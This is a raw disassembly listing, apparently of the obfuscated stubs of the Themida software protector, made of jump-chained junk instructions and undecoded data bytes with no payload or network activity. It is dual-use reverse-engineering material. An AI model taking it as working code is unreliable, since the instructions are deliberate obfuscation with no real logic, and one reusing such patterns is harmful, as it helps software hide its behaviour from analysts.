; ---------------------------------------------------------------------------


loc_5A2C19:				; CODE XREF: Themida_:0059EC00j
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59C944
; ---------------------------------------------------------------------------


loc_5A2C28:				; CODE XREF: Themida_:005A8CA4j
					; Themida_:005AA048j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5A5BEB
; ---------------------------------------------------------------------------


loc_5A2C40:				; CODE XREF: Themida_:0059D7AAj
		neg	dl
		jmp	loc_5A8CB8
; ---------------------------------------------------------------------------


loc_5A2C47:				; CODE XREF: Themida_:005A8F71j
		mov	cl, 5Ch
		xor	dh, cl
		pop	ecx
		jmp	loc_59932D
; ---------------------------------------------------------------------------


loc_5A2C51:				; CODE XREF: Themida_:005995B9j
		sub	[esp+4], eax
		push	ebx
		mov	ebx, 1AE846F8h
		sub	[esp+8], ebx
		pop	ebx
		push	ebp
		jmp	loc_5A65EB
; ---------------------------------------------------------------------------


loc_5A2C66:				; CODE XREF: Themida_:005A3BA8j
		shr	esi, 2
		xor	esi, 24BF390Bh
		sub	esi, 7E1327D7h
		xor	esi, 829B2A2Ah
		sub	ebp, esi
		pop	esi
		jmp	loc_5AD800
; ---------------------------------------------------------------------------
		db 4Eh
		dd 3251890Fh, 0EEC10000h, 0F6850F05h, 8A000081h, 0D830ACC3h
		dd 8904EC83h, 0E6892434h, 674968h, 5C96E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2CAA:				; CODE XREF: Themida_:005A7A92j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	62DCh
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		jmp	loc_5AA721
; ---------------------------------------------------------------------------


loc_5A2CCC:				; CODE XREF: Themida_:005A6CC1j
		inc	ecx
		not	ecx
		jmp	loc_5A035F
; ---------------------------------------------------------------------------


loc_5A2CD4:				; CODE XREF: Themida_:005A54CFj
		pop	ecx
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_5A99EF
; ---------------------------------------------------------------------------


loc_5A2CE3:				; CODE XREF: Themida_:00599FEEj
		push	ebx
		pop	esi
		pop	ebx
		shr	esi, 6
		sub	esi, 0DF3C88BDh
		push	edi
		mov	edi, 46E03866h
		sub	ebx, edi
		jmp	loc_5ABF22
; ---------------------------------------------------------------------------
		dd 91E95153h, 0FFFFFF7Eh, 34FF3877h, 240C8B24h,	0FFBA57E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2D11:				; CODE XREF: Themida_:005A225Dj
					; Themida_:005A5313j
		shr	edx, 5
		jmp	loc_5996B1
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 0B846E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2D2A:				; CODE XREF: Themida_:005A4C45j
		mov	al, cl
		push	ecx
		jmp	loc_5A834E
; ---------------------------------------------------------------------------


loc_5A2D32:				; CODE XREF: Themida_:0059ED89j
		and	ebp, 7B83552Bh
		xor	ebp, 38F3294Eh
		not	ebp
		dec	ebp
		inc	ebp
		add	ebp, 0B4DCEEA4h
		jmp	loc_5A89F4
; ---------------------------------------------------------------------------


loc_5A2D4D:				; CODE XREF: Themida_:0059B518j
		pop	ebx
		jmp	loc_59ADB4
; ---------------------------------------------------------------------------
aZsG		db 'Zι',0Ah
		db 'ƒ',0
		db 0
; ---------------------------------------------------------------------------


loc_5A2D59:				; CODE XREF: Themida_:005A72ABj
		shr	edi, 5
		push	ecx
		mov	ecx, 26762BC9h
		add	ecx, 13296855h
		xchg	edx, ecx
		not	edx
		xchg	edx, ecx
		add	ecx, 0FFFFFFFFh
		shl	ecx, 2
		push	ebx
		push	ecx
		jmp	loc_5A7A97
; ---------------------------------------------------------------------------


loc_5A2D7B:				; CODE XREF: Themida_:005AD330j
		mov	ebx, [esp]
		add	esp, 4
		push	dx
		mov	dh, 86h
		jmp	loc_5A6B58
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd offset dword_4405D8+11h
		db 0
; ---------------------------------------------------------------------------


loc_5A2D95:				; CODE XREF: Themida_:005ABAC0j
		add	edx, 6D2C1835h
		sub	eax, edx
		pop	edx
		add	eax, 365F125Dh
		jmp	loc_59BDB7
; ---------------------------------------------------------------------------


loc_5A2DA8:				; CODE XREF: Themida_:005A9F30j
		inc	ebp
		inc	ebp
		shl	ebp, 7
		shl	ebp, 2
		add	ebp, 0F86B2C4Ch
		add	edx, ebp
		pop	ebp
		sub	edx, 320B1570h
		push	esi
		jmp	loc_5AE2D7
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd offset dword_5103D8+11h
		dd 53515E00h, 4D2D27BBh, 52E9500Bh, 89FFFFFDh, 2F68240Ch
		dd 0E9000051h, 1C0Dh, 4EC81h, 2C890000h, 2474FF24h, 10E4E904h
		dd 0E9580000h, 0FFFF588Fh
; ---------------------------------------------------------------------------


loc_5A2E00:				; CODE XREF: Themida_:005A188Aj
		pop	esi
		jmp	loc_59D947
; ---------------------------------------------------------------------------


loc_5A2E06:				; CODE XREF: Themida_:00599AB0j
					; Themida_:005AC333j
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A3DAE
; ---------------------------------------------------------------------------


loc_5A2E14:				; CODE XREF: Themida_:0059E822j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mul	cl
		movzx	cx, ah
		jmp	loc_5A8F3E
; ---------------------------------------------------------------------------
		dd 0FEC68146h, 4E612777h, 0A42C681h, 0C4E945C2h, 1000020h
		dd 52595AD6h, 4EC81h, 34890000h, 5676BE24h, 0DEF7116Ch
		dd 4855BF57h, 0EFC14970h, 25B95107h, 21326A4Fh,	0F78159CFh
		dd 50E63348h, 28B0E781h, 6E9736Fh
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A2E77:				; CODE XREF: Themida_:005A7ACFj
		mov	ecx, 0EA50ADEh
		push	edi
		mov	edi, 0
		sub	edi, ecx
		jmp	loc_59B059
; ---------------------------------------------------------------------------


loc_5A2E89:				; CODE XREF: Themida_:005A9DA0j
		mov	ebp, 2
		jmp	loc_59CA7D
; ---------------------------------------------------------------------------


loc_5A2E93:				; CODE XREF: Themida_:005A64ABj
		xchg	edi, [esp]
		pop	esp
		xchg	ebx, [esp]
		jmp	loc_5A7ABC
; ---------------------------------------------------------------------------


loc_5A2E9F:				; CODE XREF: Themida_:0059E2C1j
					; Themida_:loc_5A8472j
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	di, 3202h
		add	di, 1
		push	ecx
		mov	cx, 27B4h
		shr	cx, 5
		jmp	loc_5AD692
; ---------------------------------------------------------------------------
		dd 4BDh, 86E2E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2EC6:				; CODE XREF: Themida_:005A067Aj
		mov	[esp], edi
		mov	edi, 1EED507Ah
		jmp	loc_5AEDFC
; ---------------------------------------------------------------------------


loc_5A2ED3:				; CODE XREF: Themida_:005A3991j
		xchg	ecx, [esp]
		jmp	loc_5A08CD
; ---------------------------------------------------------------------------


loc_5A2EDB:				; CODE XREF: Themida_:005A8CDAj
		add	esp, 4
		push	dx
		mov	dh, 5Eh
		sub	bl, 7Bh
		sub	bl, dh
		add	bl, 7Bh
		pop	dx
		movzx	eax, al
		mov	dx, [esp]
		push	ebp
		jmp	loc_5AA429
; ---------------------------------------------------------------------------
		dd 1869BD55h, 564548F9h, 0F9186EBEh, 5EF53148h,	2C8BE801h
		dd 4C48124h, 83000000h,	48704E8h, 2C895C24h, 50E1BD24h
		dd 0F4559FFh, 12378Dh, 6EDC100h, 0B05CD81h, 8B0F46FFh
		dd 0FFFFE6B7h
; ---------------------------------------------------------------------------


loc_5A2F3C:				; CODE XREF: Themida_:005A4CA5j
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59B4A5
; ---------------------------------------------------------------------------


loc_5A2F4A:				; CODE XREF: Themida_:loc_5A7185j
		or	ebx, 0EE9230Ch
		jnp	loc_5A7374
		add	ebx, 0C102D885h
		jmp	loc_5A7D6B
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 4
; ---------------------------------------------------------------------------


loc_5A2F64:				; CODE XREF: Themida_:005A8E62j
		push	eax
		add	dword ptr [esp], 8AC761Eh
		jmp	loc_5A606B
; ---------------------------------------------------------------------------


loc_5A2F71:				; CODE XREF: Themida_:loc_59A420j
		xor	dl, 0EFh
		jo	loc_5AAE4A
		not	dl
		jmp	loc_5A7661
; ---------------------------------------------------------------------------


loc_5A2F81:				; CODE XREF: Themida_:005AE702j
		add	ebx, 0FFFFFFFFh
		not	ebx
		sub	ebx, 1334731Fh
		add	ebx, 43298322h
		add	ecx, 3D244A92h
		sub	ecx, ebx
		jmp	loc_5A8F01
; ---------------------------------------------------------------------------


loc_5A2FA2:				; CODE XREF: Themida_:0059A5A7j
		add	eax, edx
		add	eax, 39394CD4h
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59F77C
; ---------------------------------------------------------------------------


loc_5A2FB7:				; CODE XREF: Themida_:005A327Cj
		not	esi
		not	esi
		shl	esi, 7
		jnp	loc_59B054
		jmp	loc_5A5C8D
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 5Fh
		dd 821AF181h
		db 0D2h, 83h
; ---------------------------------------------------------------------------


loc_5A2FD2:				; CODE XREF: Themida_:0059A427j
		sub	ebp, 7F920035h
		pop	edi
		or	edx, ebp
		jmp	loc_5A2B70
; ---------------------------------------------------------------------------


loc_5A2FE0:				; CODE XREF: Themida_:005A60C1j
		pop	esp
		jmp	loc_59AE26
; ---------------------------------------------------------------------------
aUh		db 'UhΟ&',0
		align 4
		dd 0B9240C89h, 73DC24BDh, 0E5B85049h, 0E95C0356h, 0FFFF5E47h
; ---------------------------------------------------------------------------


loc_5A3000:				; CODE XREF: Themida_:005A5AA7j
		mov	edx, eax
		pop	eax
		push	ebp
		mov	ebp, 49C471DBh
		jmp	loc_59CE61
; ---------------------------------------------------------------------------


loc_5A300E:				; CODE XREF: Themida_:0059F917j
		mov	ebp, 21BC2584h
		mov	edx, 21BC2585h
		sub	edx, ebp
		pop	ebp
		or	[edi+1Ch], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A302C:				; CODE XREF: Themida_:00598E2Aj
		add	eax, ebp
		add	eax, 7CD7376Eh
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5A05DE
; ---------------------------------------------------------------------------
		dw 2489h
		dd 9CDFE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3052:				; CODE XREF: Themida_:005A605Bj
		mov	edi, 27F96FDEh
		sub	edi, 121F3A0Ch
		add	edx, edi
		pop	edi
		push	ecx
		mov	ecx, 383039CFh
		jmp	loc_5AC00B
; ---------------------------------------------------------------------------
		db 68h
		dd 79D3h, 0BF243C89h, 4FEA3936h, 8AA0E9h, 8E7C100h, 0C633EF81h
		dd 0FE296210h, 34D4E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A308D:				; CODE XREF: Themida_:005A7F7Cj
		mov	[esp], ecx
		mov	cl, 0DCh
		jmp	loc_59F37A
; ---------------------------------------------------------------------------
		db 4
		dd 68D800F8h, 3E6Ah, 0B5240C89h, 0BC580B2h, 0FFE253E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A30AD:				; CODE XREF: Themida_:005A8EA9j
		pop	ebp
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5AF0CB
; ---------------------------------------------------------------------------


loc_5A30BC:				; CODE XREF: Themida_:0059854Fj
					; Themida_:0059C591j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, esp
		push	ebp
		mov	ebp, 4
		push	ecx
		jmp	loc_5A39D3
; ---------------------------------------------------------------------------


loc_5A30DB:				; CODE XREF: Themida_:005A5E14j
		shr	eax, 4
		jnz	loc_5A3384
		jmp	loc_5A5E62
; ---------------------------------------------------------------------------
		db 81h,	0EAh, 7
		dd 5B7F3B53h
		db 52h,	89h, 0D5h
; ---------------------------------------------------------------------------


loc_5A30F3:				; CODE XREF: Themida_:005A4E54j
		add	edi, 4
		add	edi, 2
		xchg	edi, [esp]
		pop	esp
		xor	cl, 0C6h
		shr	cl, 3
		not	cl
		add	cl, 1
		add	cl, 0FEh
		push	cx
		mov	cl, 0A5h
		sub	al, cl
		pop	cx
		add	al, 0D2h
		push	edx
		mov	dh, 30h
		sub	al, dh
		pop	edx
		add	al, cl
		add	al, 30h
		jmp	loc_5AC8EA
; ---------------------------------------------------------------------------
		db 80h
		dd 766884C3h, 89000010h, 0DA68240Ch, 89000000h,	0DA882414h
		dd 88C7E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3142:				; CODE XREF: Themida_:0059D581j
		push	edi
		xchg	ecx, [esp]
		not	ecx
		xchg	ecx, [esp]
		pop	edi
		push	edx
		mov	edx, 16964AF2h
		xor	edi, edx
		pop	edx
		or	edi, 32323A9Eh
		sub	esp, 4
		jmp	loc_59B299
; ---------------------------------------------------------------------------


loc_5A3166:				; CODE XREF: Themida_:0059DDB3j
		add	esp, 4
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	edx
		mov	edx, 4
		jmp	loc_5AC074
; ---------------------------------------------------------------------------


loc_5A3187:				; CODE XREF: Themida_:005A7450j
		not	edi
		jmp	loc_59918D
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 0AB7A0BDh, 2C8BE901h, 7088E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A319E:				; CODE XREF: Themida_:0059B16Dj
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esp, 4
		push	edx
		push	28h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	edi
		jmp	loc_59FD12
; ---------------------------------------------------------------------------


loc_5A31C9:				; CODE XREF: Themida_:005AEDCDj
		add	esp, 4
		not	ecx
		dec	ecx
		dec	ecx
		jmp	loc_5A0EA2
; ---------------------------------------------------------------------------


loc_5A31D8:				; CODE XREF: Themida_:005A4265j
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	ebp, 3E4907EDh
		add	ebp, edi
		add	ebp, 3E4907EDh
		jmp	loc_598759
; ---------------------------------------------------------------------------
		dw 0E901h
		dd 7827E981h, 0F4E95BC0h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3207:				; CODE XREF: Themida_:0059EB49j
		push	dword ptr [esp]
		jmp	loc_5A0114
; ---------------------------------------------------------------------------
		db 5
		dd 29788E37h, 4246C81h,	250C6AA0h, 4244401h, 2EA1E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3225:				; CODE XREF: Themida_:005993B3j
		jmp	loc_5A65EB
; ---------------------------------------------------------------------------


loc_5A322A:				; CODE XREF: Themida_:005A1BD5j
		add	esp, 4
		push	edx
		jmp	loc_59F690
; ---------------------------------------------------------------------------


loc_5A3236:				; CODE XREF: Themida_:0059F029j
		add	edx, 0CE96F0Bh
		jl	loc_5A3368
		neg	edx
		js	loc_5A9A2E
		push	esi
		mov	esi, 4F563E4Ch
		or	esi, 190283Fh
		pop	ecx
		dec	dh
		jl	loc_5AF4C0
		not	dh
		inc	dh
		jmp	loc_5AF080
; ---------------------------------------------------------------------------


loc_5A3268:				; CODE XREF: Themida_:005A9271j
		push	1A2Fh
		mov	[esp], edx
		push	esi
		mov	esi, 61283E21h
		xor	esi, 61090606h
		jnp	loc_5A2FB7
		not	esi
		not	esi
		shl	esi, 7
		jnp	loc_5AB3A2
		jmp	loc_59A65B
; ---------------------------------------------------------------------------
		dd 0E8C0D0F6h, 88C0FE06h
		db 0FAh, 52h
; ---------------------------------------------------------------------------


loc_5A329E:				; CODE XREF: Themida_:0059FB27j
		push	458Fh
		mov	[esp], ecx
		mov	ecx, esp
		push	edi
		jmp	loc_5A424E
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0C896624h, 0A6B75324h, 0E9B2B551h, 0FFFFC9B6h, 0C73DB32Dh
		dd 2434FF29h, 0E9241C8Bh, 9B85h
; ---------------------------------------------------------------------------


loc_5A32D0:				; CODE XREF: Themida_:005AEBC6j
		mov	[esp], ebx
		mov	ebx, 72E90469h
		xor	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	ebp, edi
		jmp	loc_5993CE
; ---------------------------------------------------------------------------


loc_5A32EA:				; CODE XREF: Themida_:005A5625j
		push	esi
		push	571Ch
		jmp	loc_59B645
; ---------------------------------------------------------------------------


loc_5A32F5:				; CODE XREF: Themida_:005A15F8j
		sub	esp, 4
		mov	[esp], ebx
		push	5080h
		mov	[esp], ecx
		jmp	loc_59EC16
; ---------------------------------------------------------------------------


loc_5A3308:				; CODE XREF: Themida_:00598921j
					; Themida_:005A4BBCj
		jmp	loc_59838C
; ---------------------------------------------------------------------------


loc_5A330D:				; CODE XREF: Themida_:005AE7FDj
		push	edx
		mov	edx, 444601F4h
		sub	edx, 1859AD52h
		jmp	loc_59BBDD
; ---------------------------------------------------------------------------


loc_5A331E:				; CODE XREF: Themida_:0059D5A9j
		mov	ebp, ecx
		push	ebp
		add	dword ptr [esp], 7E6D1C11h
		pop	esi
		jmp	loc_59A850
; ---------------------------------------------------------------------------


loc_5A332E:				; CODE XREF: Themida_:loc_5AA2BFj
		jmp	loc_59B0D5
; ---------------------------------------------------------------------------


loc_5A3333:				; CODE XREF: Themida_:loc_5AAF7Dj
		push	ebp
		jmp	loc_59F2C3
; ---------------------------------------------------------------------------


loc_5A3339:				; CODE XREF: Themida_:005A6782j
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edi
		pop	ecx
		mov	edi, [esp]
		jmp	loc_5A2702
; ---------------------------------------------------------------------------
		dw 0E95Ch
		dd 1389h
; ---------------------------------------------------------------------------


loc_5A3350:				; CODE XREF: Themida_:005AF4AFj
		mov	[esp], eax
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		jmp	loc_598A03
; ---------------------------------------------------------------------------


loc_5A3360:				; CODE XREF: Themida_:00599B62j
		or	dl, 0D5h
		jmp	loc_59DFEB
; ---------------------------------------------------------------------------


loc_5A3368:				; CODE XREF: Themida_:005A323Cj
		neg	edx
		js	loc_5A7D65
		push	esi
		jmp	loc_59C394
; ---------------------------------------------------------------------------
		dw 0C3FEh
		db 52h,	0B3h, 28h
; ---------------------------------------------------------------------------


loc_5A337B:				; CODE XREF: Themida_:0059AA54j
		pop	eax
		push	ebx
		mov	bl, cl
		jmp	loc_5A7823
; ---------------------------------------------------------------------------


loc_5A3384:				; CODE XREF: Themida_:005A30DEj
		jmp	loc_5AEDC3
; ---------------------------------------------------------------------------


loc_5A3389:				; CODE XREF: Themida_:005AB8FEj
		sub	edx, 7F3B5307h
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_59CAD1
; ---------------------------------------------------------------------------


loc_5A339E:				; CODE XREF: Themida_:005A14C3j
		pop	eax
		jmp	loc_59AC8D
; ---------------------------------------------------------------------------
		dd 85797705h, 37E95627h
		db 86h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A33AF:				; CODE XREF: Themida_:0059928Fj
					; Themida_:005A3812j
		sub	dword ptr [esp+4], 461A4895h
		pop	ebp
		push	dword ptr [esp]
		jmp	loc_5A08EA
; ---------------------------------------------------------------------------
		dd 7736CE81h, 810F4C61h, 0FFFFC8F9h, 3DD7E9h, 75C68100h
		dd 9719C33h, 34FF5EF2h,	0DD685A24h, 89000054h, 0E389241Ch
		dd 4C381h, 0EB810000h, 4, 143068h, 8CF0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A33FE:				; CODE XREF: Themida_:005A58DDj
		shl	eax, 4
		or	eax, 767D038Ch
		sub	eax, 0CDB0AD3Bh
		add	edi, eax
		pop	eax
		and	edi, 2B153861h
		push	ebx
		mov	ebx, 64282097h
		or	edi, ebx
		pop	ebx
		jmp	loc_59A0A8
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0FF847AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A342D:				; CODE XREF: Themida_:005A78C7j
					; Themida_:005ACF4Aj
		mov	esi, 464401A3h
		shl	esi, 1
		jmp	loc_5A6C2C
; ---------------------------------------------------------------------------


loc_5A3439:				; CODE XREF: Themida_:005AD203j
		pop	eax
		inc	di
		jmp	loc_59B724
; ---------------------------------------------------------------------------


loc_5A3441:				; CODE XREF: Themida_:0059CC39j
		pop	edx
		sub	bl, cl
		pop	cx
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 39B87E04h
		add	eax, 0FFFFFFFFh
		inc	eax
		jno	loc_599E3F
		push	57CEh
		mov	[esp], edx
		sub	esp, 4
		push	esp


loc_5A3470:				; CODE XREF: Themida_:005A5A55j
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		mov	edx, ebp
		push	dword ptr [esp]
		pop	ebp
		push	esi
		push	esp
		pop	esi
		jmp	loc_5AA7A2
; ---------------------------------------------------------------------------
		dd 0DF31FB31h, 69C78147h, 813ABC7Ah, 846BECC7h,	0E9FA0199h
		dd 0FFFF98E0h
; ---------------------------------------------------------------------------


loc_5A34A0:				; CODE XREF: Themida_:005A00CBj
					; Themida_:005A7484j
		add	ebx, 26E71BEBh
		push	7352h
		jmp	loc_59BFD2
; ---------------------------------------------------------------------------


loc_5A34B0:				; CODE XREF: Themida_:005A5B26j
		push	1572h
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A13AB
; ---------------------------------------------------------------------------
		db 1
		dd 53555FF9h, 4BBh, 5BDD8900h, 515DE901h, 42474FFh, 24048F59h
		dd 124248Bh, 0E99C2404h, 0FFFF4E98h, 0FFA94EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A34F9:				; CODE XREF: Themida_:loc_5A3CECj
		jmp	loc_5A715D
; ---------------------------------------------------------------------------


loc_5A34FE:				; CODE XREF: Themida_:0059C737j
		pop	esp
		shr	word ptr [esp],	cl
		pushf
		jmp	loc_59838C
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHur		db '$hUr',0
		align 2
		dw 3C89h
		dd 3C8B5424h, 4C48324h,	7CD68h,	7BDFE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3526:				; CODE XREF: Themida_:0059D377j
		pop	ecx
		add	esp, 4
		mov	ch, dh
		jmp	loc_5A908E
; ---------------------------------------------------------------------------


loc_5A3531:				; CODE XREF: Themida_:0059CEFAj
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5AA808
; ---------------------------------------------------------------------------


loc_5A3544:				; CODE XREF: Themida_:005A0DB3j
		pop	ecx
		push	224Dh
		mov	[esp], eax
		jmp	loc_59A02C
; ---------------------------------------------------------------------------


loc_5A3552:				; CODE XREF: Themida_:0059ED43j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 554D5442h
		jmp	loc_5AD7A2
; ---------------------------------------------------------------------------
		dw 0EEBDh
		dd 29EAFD65h, 52565DEEh, 9B7999BAh, 2454310Fh, 0AEE95A04h
		dd 21000013h, 0EA8159CAh, 0F4D3FF1Bh, 9870412Dh, 5D0011Ah
		dd 1A987041h, 0DBBE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A3595:				; CODE XREF: Themida_:005A05EFj
		and	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_598C42
; ---------------------------------------------------------------------------
		dd 2BE9D031h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A35AF:				; CODE XREF: Themida_:00599C52j
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		push	ebx
		mov	ebx, 1C136338h
		shr	ebx, 7
		jmp	loc_5ABB5A
; ---------------------------------------------------------------------------


loc_5A35C7:				; CODE XREF: Themida_:005A9608j
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_5AF459
; ---------------------------------------------------------------------------


loc_5A35D1:				; CODE XREF: Themida_:005AB08Dj
		push	ebx
		jmp	loc_5ACAF3
; ---------------------------------------------------------------------------
		db 89h
		dd 0F3E92434h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A35DF:				; CODE XREF: Themida_:005AF3ECj
		pop	esi
		sub	eax, 1EBE1C6Bh
		sub	ebx, eax
		pop	eax
		add	ebx, edi
		add	ebx, 49795193h
		jmp	loc_59C0F6
; ---------------------------------------------------------------------------


loc_5A35F5:				; CODE XREF: Themida_:0059C686j
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		and	ebx, ecx
		pop	ecx
		jmp	loc_59D3EE
; ---------------------------------------------------------------------------


loc_5A360F:				; CODE XREF: Themida_:005AD315j
		add	esp, 4
		add	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ebp
		jmp	loc_59B31C
; ---------------------------------------------------------------------------


loc_5A3620:				; CODE XREF: Themida_:005A61CFj
		pop	edx
		jmp	loc_5ADD25
; ---------------------------------------------------------------------------


loc_5A3626:				; CODE XREF: Themida_:0059D5CCj
		xor	ebp, 7ECE04FCh
		mov	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_5985E2
; ---------------------------------------------------------------------------


loc_5A3636:				; CODE XREF: Themida_:005A51E8j
		sub	edi, 48DC7EE8h
		mov	ebx, edi
		jmp	loc_59FA34
; ---------------------------------------------------------------------------
		db 89h
		dd 0E589242Ch, 4C581h, 0DFE90000h
		db 7Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5A3653:				; CODE XREF: Themida_:005A6080j
		sub	eax, ebp
		pop	ebp
		pop	ebx
		sub	esi, 342E3272h
		add	esi, eax
		push	eax
		jmp	loc_5AA062
; ---------------------------------------------------------------------------
		db 29h,	0CEh, 8Bh
		dd 0C483240Ch, 24148B04h, 3304C483h, 34312434h,	0B0B3E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5A367E:				; CODE XREF: Themida_:0059F9DEj
		push	eax
		jmp	loc_59B53A
; ---------------------------------------------------------------------------


loc_5A3684:				; CODE XREF: Themida_:005A52CCj
		neg	ebp
		jg	loc_5A7F0E
		jmp	loc_59DA6E
; ---------------------------------------------------------------------------
		db 2Dh,	9Bh, 3Bh
		db 0C4h, 78h, 53h
; ---------------------------------------------------------------------------


loc_5A3697:				; CODE XREF: Themida_:loc_5AB1C0j
		dec	ebx
		jns	loc_5A05F4
		jmp	loc_59A04E
; ---------------------------------------------------------------------------
		db 5Ah
		dd 885E5456h
		db 0F5h, 5Eh
; ---------------------------------------------------------------------------


loc_5A36AA:				; CODE XREF: Themida_:loc_5A56C6j
		push	eax
		mov	eax, 7C1619CEh
		shr	eax, 4
		and	eax, 6D3802BFh
		add	eax, 6CB3289h
		xor	ebp, eax
		pop	eax
		or	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_59F685
; ---------------------------------------------------------------------------


loc_5A36CA:				; CODE XREF: Themida_:0059DA4Bj
		sub	edx, 0FFFFFFFFh
		shr	edx, 7
		push	ebp
		mov	ebp, 0FFFFFFFFh
		sub	edx, ebp
		pop	ebp
		add	edx, 0FFA0115Bh
		push	edx
		mov	edx, 61B72582h
		xor	edx, 6A31754h
		add	eax, edx
		jmp	loc_5A9E89
; ---------------------------------------------------------------------------
		dw 95E9h
		db 4Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A36F7:				; CODE XREF: Themida_:005A9F65j
		push	ecx
		push	ebx
		jmp	loc_59F787
; ---------------------------------------------------------------------------


loc_5A36FE:				; CODE XREF: Themida_:005A127Aj
					; Themida_:005A4D90j
		push	29A9h
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	ebx
		push	eax
		push	5A78h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5A67EF
; ---------------------------------------------------------------------------
		dd 0FDA0EF81h, 0FE8913CDh, 4EC815Fh, 89000000h,	0E0682414h
		dd 5A037332h, 7E2C142h,	0E883BB53h, 0DA317398h,	0E8BEE95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A374E:				; CODE XREF: Themida_:005A6A81j
		add	edi, 4
		push	ecx
		jmp	loc_5A1116
; ---------------------------------------------------------------------------


loc_5A375A:				; CODE XREF: Themida_:005A3F5Bj
		mov	edi, esp
		add	edi, 4
		push	edx
		jmp	loc_5A1CE1
; ---------------------------------------------------------------------------


loc_5A3768:				; CODE XREF: Themida_:0059AEBDj
		and	eax, 463B0F7Ah
		xor	eax, 30766DC6h
		sub	edi, eax
		pop	eax
		add	edi, ecx
		add	edi, 707E6B8Ch
		push	dword ptr [esp]
		jmp	loc_5A9A9C
; ---------------------------------------------------------------------------
		db 4, 0A1h, 66h
		dd 0E94CCB68h, 0FFFFC144h
; ---------------------------------------------------------------------------


